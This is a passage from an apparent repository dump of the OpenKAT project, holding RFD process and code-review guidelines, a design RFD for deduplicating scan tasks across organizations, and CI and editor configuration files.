RFD is placed into a separate branch named after the RFD number and\n    the focus of the change (e.g. `rfd/0042-rfd-modification`). Once the branch\n    is ready for review open a pull request to merge the branch into the main\n    branch.\n\n11. Implementing an RFD\n\n    Once and RFD is implemented, namely when the rfd has evolved into an\n    explanation on how the system works, the status should be updated to\n    `implemented`. The state is essentially no different from published, but it\n    signifies ideas that have been fully developed.\n\n#### How to structure an RFD\n\nAt the base of the RFD is a markdown file. The contents of the file should\nresemble the following structure:\n\n##### Title\n\nThe title of the RFD should be in the format `RFD {number}: {title}`. The title\nshould be a simple and clear synopsis of the RFD.\n\n##### Meta data\n\nTemplate:\n\n```markdown\n---\nauthors: { author1 } <{ email }>, { author2 } ({ github username })\nstate: { draft|discussion|published|implemented|abandoned }\ndiscussion: { link to PR discussion }\nlabels: { comma, separated, list }\n---\n\n# RFD {number}: {title}\n\n## Introduction\n\n{ Introduction to the RFD }\n\n## Proposal\n\n{ The proposal section should contain the main content of the RFD. This is\nwhere the idea is explained in detail. }\n\n## Footnotes\n\n{ Footnotes should be used to provide references to external sources or to\nprovide additional information. }\n```\n\nExample:\n\n```markdown\n---\nauthors: Alice <mail@example.com>, Bob (@bob)\nstate: draft\ndiscussion: http://github.com/nl-kat-coordination/rfd/pull/1\nlabels: process, feature\n---\n\n# RFD 0001: Request For Discussion\n\n## Introduction\n\nThis RFD proposes the implementation of a Request For Discussion process.\n\n## Proposal\n\nThe proposal is to implement a Request For Discussion process.[^1]\n\n## Footnotes\n\n[^1]: [Source: XYZ](http://example.com)\n```\n\nThe status of the RFD should be one of the following:\n\n1. `draft` - The work is not yet ready for discussion, the RFD is a\n   placeholder. The draft state signifies that work iterations are being done\n   quickly on the RFD in its branch in order to advance the RFD to the\n   discussion state.\n\n2. `discussion` - The RFD is under active discussion should be in the\n   discussion state. At this point a discussion is being had for the RFD in a\n   Pull Request. The discussion state should be used when an idea is being\n   actively discussed\n\n3. `published` - Once (or if) discussion has converged and the Pull Request is\n   ready to be merged, it should be updated to the published state before\n   merge. Note that just because something is in the published state does not\n   mean that it cannot be updated and corrected.\n\n4. `implemented` - Once an idea has been entirely implemented, it should be in\n   the implemented state. Comments on ideas in the implemented state should\n   generally be raised as issues — but if the comment represents a call for a\n   significant divergence from or extension to committed functionality, a new\n   RFD may be called for.\n\n5. `abandoned` - Finally, if an idea is found to be non-viable (that is,\n   deliberately never implemented) or if an RFD should be otherwise indicated\n   that it should be ignored, it can be moved into the abandoned state.\n\n##### Content\n\nGenerally the contain of the RFD would consist of the following sections:\n\n1. **Introduction** - A brief introduction to the RFD and the context\n   in which it is being proposed.\n\n2. **Proposal** - The proposal section should contain the main content of the\n   RFD. This is where the idea is explained in detail.\n\n   Your proposal ideally should include the following points. However, use\n   your best judgment to determine what is most relevant and necessary for\n   your specific proposal:\n\n   - **Objective and goals:** clearly state the goal or problem that the\n     proposal aims to address.\n\n   - **Scope:** Define the boundaries of the proposal, what is in scope and\n     what is out of scope.\n\n   - **Multiple viable options:** Present various options to address the\n     issue, including the benefits and drawbacks of each option.\n\n   - **Reasoning and Data**: Provide detailed reasoning for the proposed\n     options, supported by data and references wherever possible.\n\n   - **Future Considerations**: Outline any future work or considerations that\n     might be relevant once the proposal is implemented.\n\n3. **Footnotes** - Footnotes should be used to provide references to external\n   sources or to provide additional information.\n\nWe can leverage the Github flavored markdown for writing the contents of the RFD.\nRefer to the [Github Docs](https://docs.github.com/en/enterprise-cloud@latest/get-started/writing-on-github/basic-writing-and-formatting-syntax)\nfor more information on the markdown syntax.\n\n##### Diagrams\n\nYou're encouraged to include diagrams in the RFD. Diagrams can be used to\nillustrate the proposed changes or to provide additional context. Typically we\nwould use [Mermaid](https://mermaid-js.github.io/mermaid/#/) for diagrams.\n\n```mermaid\ngraph TD;\n  A-->B;\n  A-->C;\n  B-->D;\n  C-->D;\n```\n\n##### Assets\n\nIf the RFD requires additional assets, such as images or diagrams, these can\nbe stored in the separate directory `rfd/assets` within the repository.\n\nWhen naming assets, the name should be the RFD number and the name of the asset.\nExample:\n\n```bash\n# rfd/assets/{rfd-number}-{title}.{extension}\nrfd/assets/0042-question-of-life.png\n```\n\n##### Footnotes\n\nFootnotes should be used to provide references to external sources or to provide\nadditional information. We can leverage the markdown syntax for footnotes.[^11]\n\n```markdown\n## Proposal\n\nText with a footnote.[^1]\n\n## Footnotes\n\n[^1]: [Source: XYZ](http://example.com)\n```\n\n### Inspiration\n\nThe structure and process of the RFD is inspired by the following implementations:\n\n- Oxide RFD process[^1][^2]\n- IETF RFC process[^3][^4][^5]\n- Golang proposal process[^6]\n- Joyent RFD process[^7]\n- Rust RFC process[^8][^9]\n- Kubernetes proposal process[^10]\n\n### Tooling\n\nTo facilitate the RFD process, the following tooling could be implemented:\n\n- Scripts to automate the creation of RFD files\n\n- Github actions\n\n  - State change, e.g from `draft` to `discussion` creates a PR with the\n    discussion link in the RFD file\n\n  - To automate the updating of the README file\n\n  - To automate the updating of the RFD file with the PR link\n\n## Footnotes\n\n[^1]: [Oxide - RFD 1 Requests for Discussion](https://oxide.computer/blog/rfd-1-requests-for-discussion)\n[^2]: [Oxide - Requests for Discussion](https://rfd.shared.oxide.computer/rfd/0001)\n[^3]: [IETF - About RFCs](https://www.ietf.org/process/rfcs/)\n[^4]: [IETF - RFC 3](https://tools.ietf.org/html/rfc3)\n[^5]: [Wikipedia - Request For Comments](https://en.wikipedia.org/wiki/Request_for_Comments)\n[^6]: [Go Proposal Process](https://github.com/golang/proposal)\n[^7]: [Joyent RFD Process](https://github.com/TritonDataCenter/rfd)\n[^8]: [Rust RFC Process Github](https://github.com/rust-lang/rfcs)\n[^9]: [Rust RFC Process](https://rust-lang.github.io/rfcs/0002-rfc-process.html)\n[^10]: [Kubernetes Proposal Process](https://github.com/kubernetes/enhancements/blob/master/keps/sig-architecture/0000-kep-process/README.md)\n[^11]: [Github Docs - Basic writing and formatting syntax: Footnotes](https://docs.github.com/en/enterprise-cloud@latest/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)\n"
  },
  {
    "path": "rfd/0002-code-of-conduct.md",
    "content": "---\nauthors: JP Bruins Slot <jpbruinsslot@gmail.com>\nstate: published\ndiscussion: https://github.com/minvws/nl-kat-coordination/pull/3425\nlabels: process\n---\n\n# RFD 0002: Code of Conduct: Code Review\n\n## Introduction\n\nCode reviews are an essential part of the software development process,\nensuring that the codebase remains bug-free, clean, maintable and efficient. It\nhelps to spot potential issues, while fostering collaboration and knowledge\nsharing among team members. For both authors and reviewers, approaching code\nreviews with the right mindset and strategies can significantly improve the\nquality of the code and the efficiency of the review process.\n\nBy adhering to these best practices, both authors and reviewers can contribute\nto a more effective and enjoyable code review process, ultimately leading to\nhigher-quality software and stronger team dynamics.\n\nHaving a code of conduct for code reviews can help set expectations, establish\na positive and respectful environment, and ensure that the review process is\nproductive and beneficial for all team members.\n\n## Authors\n\n1. **Mind your reviewer**\n\n   Make choices or options that minimize time and cognitive load for the\n   reviewer, such as opting for multiple small independent PR's instead of a\n   massive one that covers a relatively large surface of the code base. Be\n   especially mindful of this with potential big refactorings.\n\n2. **Satisfy preconditions**\n\n   Ensure that your code is ready for review before you send it, and if you\n   feel that it is not entirely there yet please mark it as 'draft' to signal\n   this to potential reviewers. Things to check before putting your code up for\n   review:\n\n   - Validate your PR by doing a 'self-review' by checking your changes,\n   - It should work and is able to run,\n   - There should be no unresolved merge conflicts,\n   - Have adequate testing that pass,\n   - And respect the style and coding guidelines.\n\n   This is respectful of reviewer time and can sometimes save you a review\n   round trip. If you're looking for an early review then make this clear.\n\n   Try to make a habit to review early and often, and to ask for feedback\n   early. When you feel that you could use some input on your draft PR then ask\n   for it. This can help you to avoid costly mistakes and rework later on.\n\n3. **Provide context**\n\n   When opening a PR for review be clear to your reviewer about your\n   expectations. In terms of the review, this means specifying in the\n   description of the PR, the kind of reviewing as well as who should review\n   what, using which level of scrutiny and rigor.\n\n   Add comments or give explanations with your code about the thought process,\n   and show what choices you've made and why.\n\n   Be cognizant that enough context is provided for the reviewer to understand\n   the changes you've made.\n\n   When necessary schedule a call or a meeting to discuss the changes in more\n   detail, and walk the reviewer through the changes.\n\n4. **Remember that communication can be hard**\n\n   Difference in understanding or opinions are to be expected in the context of\n   code review. Always assume competence and goodwill from the reviewer, and\n   that the other person has your best interests (and those of your project) at\n   heart. As with giving feedback, receiving feedback requires that the author\n   is open to **constructive** criticism and feedback.\n\n## Reviewers\n\n1.  **Look for the following**\n\n    As a reviewer look for the following in a pull request[^1]. In no\n    particular order:\n\n    1.1 _Design_\n\n    Does this change integrate well with the rest of the system? Is it\n    consistent with the existing design and architecture?\n\n    1.2 _Functionality_\n\n    Does the code behave as the author likely intended? Is the way the code\n    behaves good for its users? This includes the users of the software as well\n    as the developers who will be working with the code. Think about edge\n    cases, look for concurrency problems, try to think like a user, and make\n    sure that there are no bugs that you see just by reading the code.\n\n    1.3 _Complexity_\n\n    Is the change more complex than it needs to be? **Too complex** usually\n    means: \"can't be understood quickly by code readers\". It can also mean\n    \"developers are likely to introduce bugs when they try or modify this\n    code\".\n\n    Be cautious of over-engineering, where developers make the code more\n    generalized than necessary or include features that aren't currently\n    required. Encourage developers to address the problem that needs solving\n    right now, rather than focusing on a potential issue that might arise in\n    the future.\n\n    1.4 _Tests_\n\n    Does the code have correct and well-designed automated tests? Ask for unit,\n    integration, or end-to-end tests as appropriate for the change.\n\n    Will the tests actually fail when the code is broken? If the code changes,\n    will they begin to produce false positives? Do the tests make clear and\n    meaningful assertions? Are they appropriately divided across different test\n    methods?\n\n    Keep in mind that tests are also code that needs maintenance. Avoid\n    allowing complexity in tests just because they aren't part of the main\n    codebase.\n\n    1.5 _Naming_\n\n    Did the developer choose clear names for variables, classes, methods, etc.?\n    Does the name accurately describe the purpose, behavior, and intent of the\n    code it represents?\n\n    1.6 _Style and Conventions_\n\n    Does the code follow our style and coding guidelines? Are there any\n    violations of the style guide?\n\n    1.7 _Consistency_\n\n    Preferably the author should maintain consistency with the existing code.\n    This includes consistency in naming, style, structure, and design patterns.\n\n    This makes sure that the codebase is easier to understand and maintain.\n    When a substantial change should be made to the existing code that would\n    cause inconsistencies, it should be discussed with the team, and be\n    addressed in a separate issue.\n\n    1.8 _Comments_\n\n    Are the comments clear and useful? Do they explain why the code is written\n    in a certain way? Do they explain the intent behind the code? Are they\n    up-to-date?\n\n    1.9 _Documentation_\n\n    Did the developer also update relevant documentation? This includes README\n    files, API documentation, and any other relevant documentation.\n\n2.  **Assume competence and goodwill**\n\n    Be positive, polite and respectful.\n\n3.  **Be mindful of the power dynamic**[^2]\n\n    As a reviewer be mindful of the inherent power dynamic between a reviewer\n    and reviewee. This arises from the temporary authority the reviewer holds.\n    When the reviewer holds gatekeeping authority the power dynamic is more\n    permanent. This dynamic can be beneficial, fostering collaboration and\n    improving code quality, but it can also lead to abuse of power if not\n    handled responsibly.\n\n    The reviewer has the power to delay or reject a PR, creating a potential\n    for misuse that might obstruct progress, or to exert unnecessary dominance\n    over the reviewee. Whether by nitpicking, imposing unnecessary demands, or\n    prolonging the review process.\n\n    This authority must by used judiciously and with respect for the\n    submitter’s time and effort. Abuse of this power, whether through trivial\n    criticisms or using the process to pursue personal agendas, can undermine\n    the collaborative goals of peer review.\n\n4.  **Keep your feedback constructive and actionable**\n\n    Be helpful and constructive in your feedback. If you see something that\n    could be improved, suggest a way to improve it. Don't only just point out\n    what's wrong, but also suggest how to fix it, for example by utilising the\n    \"add suggestion\" feature in review comments.\n\n    When there is the possibility to lend out a helping hand, do so. Schedule a\n    call or a meeting to discuss the feedback in more detail. This can help to\n    clarify the feedback and to make sure that the author understands the\n    feedback. It also helps to keep up the pace, and potentially avoid multiple\n    review round trips.\n\n5.  **Explain the why**\n\n    Some code might seem wrong to you, but it's likely not obvious to the\n    author, or they wouldn't have written it that way. So please don‘t say\n    \"This is wrong\".\n\n    Instead, explain at least what the right way looks like. Or even better,\n    explain why they should do things differently. And if you’re the slightest\n    bit uncertain, \"Maybe I'm missing something, but...\" is a helpful sentence.\n    Remember, assume competence.\n\n6.  **Find an end**\n\n    If you like things neat, it‘s tempting to go over a code review over and\n    over until it’s perfect, dragging it out for longer and taking more time\n    than necessary. It‘s soul-deadening for the recipient, though.\n\n    Keep in mind that \"LGTM\" does not mean \"I vouch my immortal soul this will\n    never fail\", but \"looks good to me\". If it looks good, move on. That\n    doesn’t mean you shouldn‘t be thorough. It’s a judgment call.\n\n    And if there are bigger refactorings to be done or new feature that need to\n    be addressed. Then move them to a new issue.\n\n    Especially when there are multiple reviewers, and multiple review rounds,\n    it's important to find an end to the review process. Different reviewers\n    may have different opinions, and it's important to find a balance between\n    the different viewpoints.\n\n7.  **Mention the positives**\n\n    It‘s easy to get into the mindset of \"find ALL the flaws\", but\n    acknowledging the positives both helps maintain civility and brightens the\n    recipient’s day.\n\n    No need to be all fake smiles, but if there's a good decision, or if\n    somebody takes on a really grungy task, acknowledging that is a nice thing\n    to do. And on the converse, a \"thank you\" to the reviewers is occasionally\n    a nice thing, too.\n\n    When you see something cool, when you see a good decision, or when made a\n    change that is interesting or innovative, mention it!\n\n8.  **Don't shame people**\n\n    \"How could you not see this\" is a very unhelpful thing to say. Assume that\n    your colleagues do their best, but occasionally make mistakes. That's why\n    we have code reviews - to spot those mistakes. While flawless PR's are\n    awesome, flawed ones are the norm.\n\n9.  **Don't use extreme or very negative language**\n\n    Please avoid saying things like \"no sane person would ever do this\" or\n    \"this approach is terrible\", \"I can't imagine anyone would want to\n    implement it like this\".\n\n    Thinly veiled insults or passive aggressive comments are not helpful and\n    can be damaging to the relationship. This is useless, petty and nearly\n    impossible to act on. While it might intimidate the reviewee into doing\n    what you want, it’s not helpful in the long run - they will feel incapable,\n    and be less inclined to collaborate with you in the future, and there is\n    not much info in there to help them improve.\n\n    \"This is a good start, but it could use some work\" or \"This needs some\n    cleanup\" are nicer ways of saying it. Discuss the code, not the person.\n\n10. **Don't bikeshed**\n\n    Always ask yourself if this decision really matters in the long run, or if\n    you‘re enforcing a subjective preference. It feels good to be right, but\n    only one of the two participants can win that game. If it’s not important,\n    agree to disagree, and move on. Remember that the goal of the code review\n    is to improve the code, not to enforce your personal preferences.\n\n## References\n\n### Books\n\n- [Winters] Software Engineering at Google: Lessons Learned from Programming\n  Over Time - Titus Winters, Tom Manshreck, Hyrum Wright\n- [Carullo] Implementing Effective Code Reviews: How to Build and Maintain\n  Clean Code - Guiliana Carullo\n- [Wiegers] Peer Reviews in Software: A Practical Guide - Karl Wiegers\n\n### Websites\n\n- [Deepsource] [deepsource.com - Code review best practices - DeepSource](https://deepsource.com/blog/code-review-best-practices)\n- [Wiegers2] [medium.com - The Soft Side of Peer Reviews - Karl Wiegers](https://medium.com/swlh/the-soft-side-of-peer-reviews-ced46d6d63ee)\n- [EngPractices] [google.github.io - Google Engineering Practices Documentation | eng-practices](https://google.github.io/eng-practices/)\n- [Chromium] [chromium.googlesource.com - Chromium Docs - Respectful Changes](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/cl_respect.md)\n- [GoogleTesting] [testing.googleblog.com - Google Testing Blog: Code Health: Respectful Reviews == Useful Reviews](https://testing.googleblog.com/2019/11/code-health-respectful-reviews-useful.html)\n- [Thatham] [chiark.greenend.org.uk - Code review antipatterns](https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/code-review-antipatterns/)\n\n[^1]: Adapted from [EngPractices]\n[^2]:\n    A humorous and insightful take on code review antipatterns can be found\n    in [Thatham]\n"
  },
  {
    "path": "rfd/0003-deduplication.md",
    "content": "---\nauthors: Jeroen Dekkers (@dekkers), Donny Peeters (@donnype)\nstate: implemented\ndiscussion: https://github.com/minvws/nl-kat-coordination/pull/4051\nimplementation: https://github.com/minvws/nl-kat-coordination/pull/4482, https://github.com/minvws/nl-kat-coordination/pull/4554\nlabels: boefjes\n---\n\n# RFD 0003: Deduplication of boefjes tasks between organization\n\nThe goal of deduplicating boefje tasks is to avoid doing multiple scans in similar organizations for the same\nassets. When a large number of organizations have the same asset, this would prevent scanning the asset too many\ntimes, saving resources and avoiding hammering external APIs too much.\n\n## Functional requirements\n\nDeduplication can only be done when all the inputs of the boefje are exactly the same. This includes the input OOI\nand all the boefje settings.\n\n1. A few boefjes use the organization itself as a parameter, so those boefjes can't be duplicated. Hence, we should\n   be able to turn deduplication off per boefje.\n2. When doing deduplication between organizations, in general a user should not know for which other organizations\n   the task has been deduplicated in the same KAT install. If the user belongs to those organizations this is perhaps not\n   a problem, but insights into which tasks have been deduplicated for which organization is considered out of scope.\n3. In the end, deduplication is a feature that prevents doing double work in the background. Nevertheless,\n   organizations might not want to deduplication to happen as this does affect when jobs are processed, so\n   deduplication should be a setting that can be turned off for the whole install and per organization.\n\n## Nonfunctional requirements\n\n1. For our data lineage and the ability to debug deduplicated jobs, we should know which jobs have been deduplicated.\n2. We should also strive to minimize the impact on our data models, as we see deduplication as an optimization that\n   should not make future work significantly harder.\n\n## Technical design\n\n### Current situation\n\nThe current input of a boefje is defined as the BoefjeMeta. This currently defined as:\n\n```python\nclass Job(BaseModel):\n    id: UUID\n    started_at: AwareDatetime | None = Field(default=None)\n    ended_at: AwareDatetime | None = Field(default=None)\n\n    @property\n    def runtime(self) -> timedelta | None:\n        if self.started_at is not None and self.ended_at is not None:\n            return self.ended_at - self.started_at\n        else:\n            return None\n\n\nclass Boefje(BaseModel):\n    \"\"\"Identifier for Boefje in a BoefjeMeta\"\"\"\n\n    id: Annotated[str, StringConstraints(min_length=1)]\n    version: str | None = Field(default=None)\n\n\nclass BoefjeMeta(Job):\n    boefje: Boefje\n    input_ooi: str | None = None\n    arguments: dict = {}\n    organization: str\n    runnable_hash: str | None = None\n    environment: dict[str, str] | None = None\n```\n\nThe local job handler gets the `BoefjeMeta` object from the scheduler and additionally sets `arguments[\"input\"]`,\n`runnable_hash`, `environment`, `started_at` fields (see `BoefjeHandler` in boefjes/job_handler.py). The local\nboefje `run` function gets the full `BoefjeMeta` pydantic object:\n\n```python\nfrom boefjes.job_models import BoefjeMeta\n\n\ndef run(boefje_meta: BoefjeMeta) -> list[tuple[set, bytes | str]]:\n```\n\nThe docker runner creates the boefje_meta object itself and currently only sets the `id`, `boefje`, `input_ooi`,\n`arguments`, `organization` and `environment` fields (see `create_boefje_meta` in boefjes/api.py). The docker boefje\n`run` function gets a dictionary with those values:\n\n```python\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n```\n\n### Arguments that are passed to boefjes that need to be considered for deduplication\n\nTo make sure we only do deduplication on boefje tasks that really are the same, we should be more strict in what we\npass to the boefje as input. We've been providing more information than is necessary to the boefjes by giving the whole\nBoefjeMeta as input to each boefje.\n\n#### Usage of arguments field\n\nThis is used by almost every boefje and the main way to specify on what the boefje should run. This is the\nserialized OOI, the result of calling `serialize` on an OOI.\n\nIt might be better to provide the serialized OOI as `input_ooi` argument to the boefje `run` to make the contents of\nthe field clear. See below for the proposed signature.\n\n#### Usage of organization field\n\nThe external DB boefje currently needs the organization to fetch the data from the external database. Obviously,\nthis means the boefje can't be deduplicated.\n\nTo support this we should add a flag to boefjes that require the organization. If the flag is set, we provide\norganization to the boefje and can't do deduplication. If the flag isn't set, we don't provide the organization and can\nduplicate. This way we make sure the organization is never used when it is not supposed to be. We could reuse the flag\nwe already need to mark boefjes that can be deduplicated, and hence pass the organization to all boefjes where this\nis `False`.\n\n#### Usage of boefje task id field\n\nThere is no boefje that uses the task id at this point and can be removed safely.\n\n#### Usage of input_ooi field\n\nOnly the leakix boefje used the input_ooi field. For the sake of simplicy we should probably not provide this to the\nboefje. It should be easy to refactor this so it used the serialized input OOI.\n\n#### Usage of environment field\n\nThis is not used directly from the BoefjeMeta argument in `run`, but the provided variables are set environment\nvariables are set and the boefje\n\n#### Usage of started_at, ended_at, boefje and runnable_hash fields\n\nThis isn't used by any boefje and can be safely removed from the boefje arguments.\n\n#### Boefje signature / arguments\n\nBoefje that does not require organization can have the following signature:\n\n```python\ndef run(input_ooi: dict[str, Any]) -> list[tuple[set, bytes | str]]:\n```\n\nAnd boefje that requires organization:\n\n```python\ndef run(input_ooi: dict[str, Any], organization: str) -> list[tuple[set, bytes | str]]:\n```\n\nThe `input_ooi` is the serialized input OOI that is stored in the BoefjeMeta `arguments`. The environment field does\nneed to be passed as argument, because it is already passed to the boefje using environment variables.\n\n### Deduplication implementation\n\nThe scheduler schedules boefjes and the boefje worker executes them and saves the raw files to bytes. Hence, these\nare probably the services that need modification to support deduplication. (Changes to other services could suggest\nthis feature has a bigger impact than intended.)\n\n#### Deduplication algorithm: Option 1 (not implemented)\n\nA possible algorithm for deduplication could be:\n\n- The scheduler wants to scheduler a boefje for a specific organization and input OOI.\n- The scheduler checks if the boefje needs the organization. If so, it can continue with scheduling the boefje task.\n- The scheduler queries the stored tasks to see if a different organization has already run on this input OOI.\n- If there is a match, the scheduler fetches the environment of the previous boefje task and the environment of the\n  new boefje task. If they are the same, they can be deduplicated. If they differ, the new boefje needs to be scheduled.\n\nThis could be further optimized by storing information about the configured boefje settings. If we store which\norganizations have the same settings and which have different settings, we don't have to fetch this information for\nevery boefje task.\n\n#### Deduplication algorithm: Option 2 (implemented)\n\nThe goal of OpenKAT is to do continuous monitoring. This means that most of the time we are scanning an already\nexisting OOI. For deduplication, this means that the common scenario is that a certain OOI might be in a large number of\norganizations. The scenario that a new OOI is added that already exists in another organization is probably less common.\n\nWe can take advantage of this by checking all other organizations for the same OOIs either before or after a boefje\nhas run. The big advantage of doing deduplication this way is that we don't need to insert data from the past or\nwith a different valid_time, because we proactively schedule tasks for other organizations at the same moment.\n\nThe algorithm would be:\n\n- The scheduler wants to schedule a boefje task with id \"123\" for a specific input ooi\n- If the boefje can be deduplicated, the scheduler asks the katalogus for its config\n- The scheduler queries the katalogus for organizations that have the same config for this boefje\n- The scheduler queries octopoes to check which of these organizations have the input ooi as well\n- The scheduler schedules tasks for the remaining organizations for the same boefje and input ooi. Also see \"A Task\n  per organization or one Task spanning multiple organizations\" below.\n- Set a new `deduplication_key` field of both task \"123\" and the other task equal to the original task id: \"123\"\n- For task that are not deduplicated, set this field to `null`\n- The scheduler updates its task pop API to return all duplicates of a task as well.\n- The boefje runner only runs the first task, but saves the raw file for all other tasks as well.\n\nTo know which tasks have been deduplicated, we can query the Task table for tasks where `id == deduplication_key`,\nor `id != deduplication_key` for tasks that are duplicates.\n\nAn easy optimization would be to combine the first two katalogus calls by providing an API that can return both the\nconfig of the requested boefje and all its duplicates (perhaps through a \"?with_duplicates=true\" url parameter). This\nwould allow us to perform this check in the database directly.\n\nAnother way to optimize this might be to mark whether an OOI also exists in a different organization. This can be done\nwhen OOIs are created, updated and deleted instead of doing that check on every boefje run. We might also do\nsomething similar when environment settings are updated.\n\n#### Returning environment settings and all its duplicates in the KATalogus\n\nThe katalogus stores the current settings of a boefje as a boefje_config. Finding other configs for the same\nboefje with the same settings is complicated for two reasons. Firstly, the settings are stored as JSON and hence\nneed not be ordered by its fields consistently. This could be tackled with a migration, of course. But, secondly, an\ninstall might have encryption enabled. Our encryption uses a nonce that makes sure two settings that are equal are\nno longer equal when encrypted. So, our hands are tied. We should therefore perform the check at the application level.\nThis does solve the first issue as Python considers two dictionaries equal irrespective of the order of their keys.\n\nNote that this restriction also makes storing a hash of the settings to easily query duplicate settings hard: plain\nhashes (without a nonce) would make the nonce in our encryption redundant and requires us to keep track of\ncreate/update/delete operations for the settings field at the application level. We deemed this a risky change that\nwould require even more database changes.\n\n#### If boefje needs organization and should not be deduplicated (Functional requirement 1)\n\nThe katalogus should add a `deduplicate` boolean field to both the Boefje and Organization model. The scheduler already\nfetches all available boefjes for an organization, but this information is not present currently in the right place\nwithin the boefje scheduler logic, so would require some refactoring. Hence, an even simpler implementation of this\nwould be never to provide duplicated environment settings in the API by filtering boefjes where `deduplicate=True`\nin database time.\n\n#### Deduplication can be turned off per organization or install (Functional requirement 3)\n\nIn line with the previous section, we can add a `deduplicate` field on the organization model as well and add a\n`deduplicate=True` for the organization model as well in the boefje config query. We should also add an environment\nsetting to turn deduplication off globally, and check this setting both in the config API and the runner. The runner\nshould take measures to make sure it handles deduplicated tasks as regular tasks, by putting them as separate tasks\nin its local queue, for example.\n\n#### Users should not know deduplication happened (Functional requirement 2)\n\nSince we have the same number of Tasks and RawFiles per organization when deduplication is turned on and the data\nlooks the same, this requirement has been met.\n\n#### A Task per organization or one Task spanning multiple organizations\n\nIn the scheduler, we could either create one Task entry per organization or one Task for all organizations. If we\ncreate one Task entry that spans multiple organizations, we would have to fan these out in rocky and make sure\norganizations cannot modify this task, or else this information could \"leak\" to other users. Therefore, creating an\nentry per organization has less impact on both security and our core data model, but puts more responsibility in\nthe API/Query layer. But code is easier to change than a database, so we decided that this is the safer route.\n\n#### What if the task fails\n\nFor now, an easy way to handle task failure is to push the other tasks back on the scheduler queue.\n\n#### Future improvements\n\nThe current implementation reuses the raw file of the first boefje task. It is not clear if we can easily prevent\nstoring save the raw file again for the other organization by sharing the data in bytes. Not saving multiple files is a\nnice-to-have optimization we could do later.\n"
  },
  {
    "path": "rfd/README.md",
    "content": "# Requests for Discussion\n\nThis directory contains Requests for Discussion (RFDs) for the OpenKAT project.\nRFDs are used to propose and discuss changes to the project. Please refer to\nthe [RFD 0001: Request for Discussion Process](0001-rfd.md) for more information\non how to create and discuss RFDs.\n\n## RFDs\n\n| Number | State     | Title                                                             |\n| ------ | --------- | ----------------------------------------------------------------- |\n| 0001   | Published | [RFD 0001: Request for Discussion Process](0001-rfd.md)           |\n| 0002   | Published | [RFD 0002: Code of Conduct: Code Review](0002-code-of-conduct.md) |\n"
  },
  {
    "path": "rfd/assets/.gitkeep",
    "content": ""
  },
  {
    "path": "rfd/prototypes/prototype.md",
    "content": "---\nauthors: { author1 } <{ email }>, { author2 } ({ github username })\nstate: { draft|discussion|published|implemented|abandoned }\ndiscussion: http://github.com/nl-kat-coordination/rfd/pull/{number}\nlabels: { comma, separated, list }\n---\n\n# RFD {number}: {title}\n\n## Introduction\n\n{ Introduction to the RFD }\n\n## Proposal\n\n{ The proposal section should contain the main content of the RFD. This is\nwhere the idea is explained in detail. }\n\n## Footnotes\n\n{ Footnotes should be used to provide references to external sources or to\nprovide additional information. }\n"
  },
  {
    "path": "rocky/.ci/docker-compose.yml",
    "content": "services:\n  rocky_tests:\n    build:\n      context: ../..\n      dockerfile: rocky/Dockerfile\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n      target: dev\n    command: pytest tests/\n    depends_on:\n      - ci_rocky-db\n    volumes:\n      - ..:/app/rocky\n      - ../../octopoes/octopoes:/app/rocky/octopoes\n    env_file:\n      - .env.test\n\n  rocky_integration:\n    build:\n      context: ../..\n      dockerfile: rocky/Dockerfile\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n      target: dev\n    command: pytest tests/integration\n    depends_on:\n      - ci_rocky-db\n      - ci_octopoes\n    volumes:\n      - ..:/app/rocky\n      - ../../octopoes/octopoes:/app/rocky/octopoes\n    env_file:\n      - .env.test\n\n  ci_rocky-db:\n    image: docker.io/library/postgres:15\n    env_file:\n      - .env.test\n\n  ci_octopoes:\n    build:\n      context: ../../octopoes\n    command: uvicorn octopoes.api.api:app --host 0.0.0.0 --port 80\n    depends_on:\n      rabbitmq:\n        condition: service_healthy\n      xtdb:\n        condition: service_started\n    env_file:\n      - .env.test\n\n  xtdb:\n    image: \"docker.underdark.nl/librekat/xtdb-http-multinode:main\"\n\n  rabbitmq:\n    restart: on-failure\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 4\n    env_file:\n      - .env.test\n"
  },
  {
    "path": "rocky/.dockerignore",
    "content": "**/__pycache__\n**/*.pyc\n**/*.pyo\n**/*.pyd\n.Python\nenv\n.venv\npip-log.txt\npip-delete-this-directory.txt\n.tox\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.log\n.git\n.mypy_cache\n.pytest_cache\n.hypothesis\nDockerfile\nbytes-data\n.dockerignore\n.github\n.env-dist\n.gitignore\n.ci\nMakefile\npackaging\nREADME.*\npyproject.toml\nsql_migrations\n.dockerignore\ndocs\nassets/dist\nstatic\n"
  },
  {
    "path": "rocky/.editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\ninsert_final_newline = true\ntrim_trailing_whitespace = true\nindent_style = space\nindent_size = 2\n\n[*.html]\nindent_size = 4\n\n[*.py]\nindent_size = 4\nmax_line_length = 120\n\n[Makefile]\nindent_style = tab\n\n[*.md]\ntrim_trailing_whitespace = false\n"
  },
  {
    "path": "rocky/.gitignore",
